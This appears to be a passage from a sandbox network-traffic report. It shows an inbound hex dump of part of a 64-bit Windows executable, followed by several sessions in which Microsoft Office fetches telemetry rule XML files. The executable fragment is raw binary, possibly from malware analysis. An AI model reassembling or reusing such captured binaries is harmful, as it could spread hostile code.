2024-10-08 18:52:09 UTC	688	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 77 2d fc 66 00 ac 1d 00 65 18 00 00 f0 00 26 02 0b 02 02 2a 00 92 0b 00 00 a8 1d 00 00 04 00 00 d0 13 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 1e 00 00 04 00 00 4a dc 23 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdw-fe&*@ J#`
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 00 02 00 00 00 90 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 1d 00 00 02 00 00 00 92 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 04 00 00 00 f0 1d 00 00 06 00 00 00 94 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 11 00 00 00 00 1e 00 00 12 00 00 00 9a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @.tls@.rsrc@@.reloc@B
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 83 c4 28 c3 0f 1f 00 48 83 ec 28 e8 6f c0 0a 00 48 83 f8 01 19 c0 48 83 c4 28 c3 90 90 90 90 90 90 90 90 90 90 90 90 48 8d 0d 09 00 00 00 e9 d4 ff ff ff 0f 1f 40 00 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 48 83 ec 28 4c 39 c1 77 0b 48 89 d0 48 89 ca 48 83 c4 28 c3 4c 89 c2 4d 89 c8 e8 51 c0 09 00 cc 48 83 ec 28 4d 89 c2 49 29 ca 72 0e 48 01 ca 48 89 d0 4c 89 d2 48 83 c4 28 c3 4c 89 c2 4d 89 c8 e8 bb bf 09 00 cc 41 57 41 56 41 55 41 54 56 57 55 53 48 83 ec 68 48 89 d6 48 89 cf 0f 57 c0 4c 8d 74 24 40 41 0f 29 46 10 41 0f 29 06 4c 8d 7c 24 20 48 8d 2d 37 ab 0b 00 4c 8d 64 24 30 41 b8 20 00 00 00 48 89 f9 4c 89 f2 e8 8f 14 00 00 48 89 c3 49 89 d5 48 89 44 24 30 48 89 54 24 38 48 85 c0 74 3d 4c 89 f9 4c 89 ea e8 74 00 00 00 0f b6 44 24 20 48 63 44 85 Data Ascii: (H(oHH(H@H(L9wHHH(LMQH(MI)rHHLH(LMAWAVAUATVWUSHhHHWLt$@A)FA)L\|$ H-7Ld$0A HLHIHD$0HT$8Ht=LLtD$ HcD
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 0f 85 d8 6d 0a 00 a8 20 0f 85 80 6e 0a 00 e9 2b 81 0a 00 48 83 ec 28 48 8b 09 e8 c0 ff ff ff 31 c0 48 83 c4 28 c3 56 48 83 ec 20 48 89 ce e8 c3 04 00 00 48 8d 4e 18 e8 ba 04 00 00 48 83 c6 30 48 89 f1 48 83 c4 20 5e e9 a9 04 00 00 56 48 83 ec 20 48 89 ce e8 d1 03 00 00 48 83 c6 18 48 89 f1 48 83 c4 20 5e e9 c0 03 00 00 56 57 53 48 83 ec 20 48 8b 31 89 f0 83 e0 03 83 f8 01 75 47 48 8b 7e ff 48 8b 5e 07 48 8b 03 48 85 c0 74 05 48 89 f9 ff d0 48 ff ce 4c 8b 43 08 4d 85 c0 74 0c 48 8b 53 10 48 89 f9 e8 94 08 00 00 ba 18 00 00 00 41 b8 08 00 00 00 48 89 f1 48 83 c4 20 5b 5f 5e e9 e8 23 00 00 90 48 83 c4 20 5b 5f 5e c3 41 57 41 56 41 55 41 54 56 57 55 53 48 83 ec 48 48 89 ce e8 44 03 00 00 48 8b 7e 28 48 89 74 24 40 48 8b 76 30 48 8d 5f 08 48 83 ee 01 72 0e 48 Data Ascii: m n+H(H1H(VH HHNH0HH ^VH HHHH ^VWSH H1uGH~H^HHtHHLCMtHSHAHH [_^#H [_^AWAVAUATVWUSHHHDH~(Ht$@Hv0H_HrH
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 00 00 00 e9 4d 1f 00 00 c3 4d 89 c1 48 89 c8 41 b8 02 00 00 00 48 89 d1 48 89 c2 e9 95 f5 ff ff 56 48 83 ec 20 48 89 ce 48 b8 00 00 00 00 00 00 00 80 48 39 01 75 19 48 89 f1 e8 5e ff ff ff 48 83 26 00 48 c7 46 08 01 00 00 00 48 83 66 10 00 48 89 f0 48 83 c4 20 5e c3 48 83 ec 38 48 b8 00 00 00 00 00 00 00 80 48 39 02 74 26 48 8b 42 30 48 89 41 30 0f 10 02 0f 10 4a 10 0f 10 52 20 0f 11 51 20 0f 11 49 10 0f 11 01 48 89 c8 48 83 c4 38 c3 48 8b 4a 08 48 8d 44 24 30 48 89 08 4c 89 44 24 20 4c 8d 0d d3 a3 0b 00 b9 01 00 00 00 31 d2 49 89 c0 e8 7c 58 09 00 cc 48 83 ec 38 48 83 39 00 75 08 8b 41 10 48 83 c4 38 c3 48 8b 41 08 8b 49 10 4c 8d 44 24 28 49 89 00 41 89 48 08 48 89 54 24 20 48 8d 0d c8 22 19 00 4c 8d 0d ab a3 0b 00 ba 13 00 00 00 e8 39 58 09 00 cc 41 57 Data Ascii: MMHAHHVH HHH9uH^H&HFHfHH ^H8HH9t&HB0HA0JR Q IHH8HJHD$0HLD$ L1I\|XH8H9uAH8HAILD$(IAHHT$ H"L9XAW
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 00 48 89 c6 eb c8 41 57 41 56 41 55 41 54 56 57 55 53 48 83 ec 38 48 89 d6 48 89 cf 48 8d 59 50 4c 8d 71 52 4c 8d 79 30 4c 8d 61 18 31 d2 0f b6 41 50 48 8d 2d 93 9c 0b 00 48 63 44 85 00 48 01 e8 ff e0 f6 47 60 04 75 2a 4c 8b 6f 58 48 83 67 58 00 48 89 d9 e8 39 f9 ff ff c6 47 50 03 4c 89 6f 58 b0 03 31 d2 0f b6 c0 48 63 44 85 00 48 01 e8 ff e0 8a 57 51 80 fa 02 73 31 0f b6 d2 4c 8d 05 17 a1 0b 00 4c 89 f1 e8 23 fa ff ff 49 89 d0 48 89 f1 48 89 c2 e8 c3 03 00 00 48 85 c0 0f 85 a6 03 00 00 02 57 51 88 57 51 eb ca 48 8b 4f 58 48 85 c9 74 0e 41 b8 02 00 00 00 4c 89 f2 e8 4e a2 00 00 44 0f b7 47 52 4c 8d 6c 24 20 4c 89 e9 31 d2 e8 20 b3 00 00 48 89 f9 e8 65 f9 ff ff 49 8b 45 10 48 89 47 10 41 0f 10 45 00 0f 11 07 4c 8b 6f 58 48 83 67 58 00 48 89 d9 e8 93 f8 ff Data Ascii: HAWAVAUATVWUSH8HHHYPLqRLy0La1APH-HcDHG`u*LoXHgXH9GPLoX1HcDHWQs1LL#IHHHWQWQHOXHtALNDGRLl$ L1 HeIEHGAELoXHgXH
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: c3 41 57 41 56 41 55 41 54 56 57 55 53 48 81 ec 28 01 00 00 4c 89 44 24 48 48 89 54 24 60 48 89 cb 48 ba 00 00 00 00 00 00 00 80 48 8d 41 68 48 89 44 24 50 48 8d 81 80 00 00 00 48 89 44 24 40 4c 8d a9 b0 00 00 00 48 8d 41 08 48 89 44 24 38 48 8d 41 58 48 89 44 24 58 48 8d 41 60 48 89 44 24 68 48 8b 01 48 8d 0c 02 48 ff c9 48 31 d0 45 31 e4 48 83 f9 04 49 0f 43 c4 4c 8d 35 0e 97 0b 00 49 63 04 86 4c 01 f0 31 f6 ff e0 48 89 d9 48 8b 54 24 40 e8 14 fa ff ff 48 85 c0 0f 85 56 02 00 00 48 8d 54 24 70 b9 0d 00 00 00 48 89 d7 48 89 de f3 48 a5 48 bf 00 00 00 00 00 00 00 80 48 89 3b 48 89 7b 18 48 89 7b 30 83 63 48 00 31 c0 88 43 4c c6 43 50 06 88 43 60 48 8d b4 24 d8 00 00 00 48 89 f1 e8 d9 a1 00 00 48 89 d9 e8 88 f3 ff ff 48 8d 47 01 48 89 03 48 8d 0c 07 48 ff Data Ascii: AWAVAUATVWUSH(LD$HHT$`HHHAhHD$PHHD$@LHAHD$8HAXHD$XHA`HD$hHHHH1E1HICL5IcL1HHT$@HVHT$pHHHHH;H{H{0cH1CLCPC`H$HHHGHHH
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: f9 04 49 0f 43 c4 49 63 04 86 4c 01 f0 31 f6 ff e0 4c 8d 74 24 70 b9 0a 00 00 00 4c 89 f7 4c 8b 7c 24 38 4c 89 fe f3 48 a5 48 be 00 00 00 00 00 00 00 80 48 89 73 08 48 89 73 20 48 89 73 38 83 63 50 00 c6 43 54 00 48 89 d9 e8 d2 ee ff ff 48 83 c6 04 48 89 33 b9 0a 00 00 00 4c 89 ff 4c 89 f6 f3 48 a5 be 01 00 00 00 e8 55 9d 00 00 e9 27 fd ff ff 4c 8b 64 24 78 e9 25 fd ff ff 4c 8d 05 b6 95 0b 00 4c 89 e1 48 8b 54 24 48 e8 69 a5 09 00 cc 41 56 56 57 53 48 83 ec 48 4c 89 c7 48 89 d3 48 89 ce 48 8b 41 20 48 3b 41 28 75 19 48 39 7e 18 77 13 48 89 f1 48 89 da 49 89 f8 e8 0b e9 ff ff 48 89 c2 eb 49 4c 8d 74 24 38 4c 89 f1 48 89 f2 e8 4c 00 00 00 49 8b 06 49 8b 56 08 48 85 c0 74 39 48 8d 4c 24 28 48 89 01 48 89 51 08 48 89 da 49 89 f8 e8 d3 e8 ff ff 48 89 c2 48 03 Data Ascii: ICIcL1Lt$pLL\|$8LHHHsHs Hs8cPCTHHH3LLHU'Ld$x%LLHT$HiAVVWSHHLHHHA H;A(uH9~wHHIHILt$8LHLIIVHt9HL$(HHQHIHH
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: e8 00 00 00 b9 0d 00 00 00 48 89 d7 f3 48 a5 48 8d b4 24 b0 02 00 00 48 89 f1 e8 f2 97 00 00 4c 8b 3e 48 8d b4 24 b8 02 00 00 48 8d bc 24 08 03 00 00 b9 09 00 00 00 f3 48 a5 49 8d 5c 24 01 31 ed eb 08 49 8d 5c 24 03 40 b5 01 48 8d b4 24 e0 02 00 00 48 89 f1 31 d2 e8 43 9b 00 00 0f 10 84 24 90 01 00 00 0f 10 8c 24 a0 01 00 00 0f 10 94 24 b0 01 00 00 0f 29 56 f0 0f 29 4e e0 0f 29 46 d0 48 8d 4c 24 38 e8 47 92 00 00 48 8d 7c 24 50 48 8d b4 24 b0 02 00 00 b9 09 00 00 00 f3 48 a5 40 84 ed 74 0d 48 8d 8c 24 e8 00 00 00 e8 f3 e8 ff ff 48 8d bc 24 d0 01 00 00 48 89 5f f0 4c 89 7f f8 48 8d b4 24 08 03 00 00 b9 0b 00 00 00 f3 48 a5 48 8d 84 24 28 02 00 00 48 8d 54 24 38 b9 0c 00 00 00 48 89 c7 48 89 d6 f3 48 a5 c6 40 60 00 48 83 22 00 48 c7 42 08 01 00 00 00 48 83 Data Ascii: HHH$HL>H$H$HI\$1I\$@H$H1C$$$)V)N)FHL$8GH\|$PH$H@tH$H$H_LH$HH$(HT$8HHH@`H"HBH
2024-10-08 18:52:09 UTC	1369	IN	Data Raw: 48 8b 08 48 ba 9e 94 7f 36 27 e6 df d9 48 89 10 48 8d b4 24 c0 01 00 00 48 8b 16 e8 5d ef ff ff 48 83 26 00 41 b1 01 31 c9 48 8d 15 d8 8f 0b 00 49 b8 00 38 f3 1e 62 40 d1 44 41 f6 c1 01 74 1e 44 0f b6 0c 11 4d 09 c1 4c 33 0c 08 4c 89 8c 0c c0 01 00 00 b9 08 00 00 00 45 31 c9 eb dc 0f b7 40 08 35 8c f7 00 00 48 8d b4 24 c0 01 00 00 48 8b 0e 48 8d 94 24 e8 00 00 00 48 89 0a 66 89 42 08 41 b8 0a 00 00 00 48 89 f1 e8 d9 77 05 00 48 8b 94 24 b8 02 00 00 4c 8b 84 24 c0 02 00 00 48 89 f1 e8 e1 78 05 00 c7 86 c4 00 00 00 00 00 00 08 48 8d 7c 24 38 48 89 f9 48 89 f2 e8 d7 89 04 00 4c 8d 05 50 8f 0b 00 48 8d 9c 24 08 03 00 00 48 89 d9 48 89 fa e8 c1 e4 ff ff 48 89 f1 e8 d6 df ff ff 83 7b 30 00 0f 85 f4 01 00 00 48 8d 05 05 18 18 00 48 8d 94 24 c0 01 00 00 48 89 02 Data Ascii: HH6'HH$H]H&A1HI8b@DAtDML3LE1@5H$HH$HfBAHwH$L$HxH\|$8HHLPH$HHH{0HH$H

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.9	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 8f7b9a8c-201e-0000-6a97-19a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd48dfrdj7px744zp8s000000056g0000000056qk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.9	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd48qjg85buwfdynm5w00000005hg000000004w7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.9	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 27cd2a1a-001e-0046-1b08-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd48sdh4cyzadbb3748000000054g00000000w23f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.9	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd48vlsxxpe15ac3q7n00000005f0000000000qym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.9	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd482lxwq1dp2t1zwkc00000005100000000106bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:10 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185210Z-1657d5bbd48sdh4cyzadbb374800000005a00000000031vz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:11 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
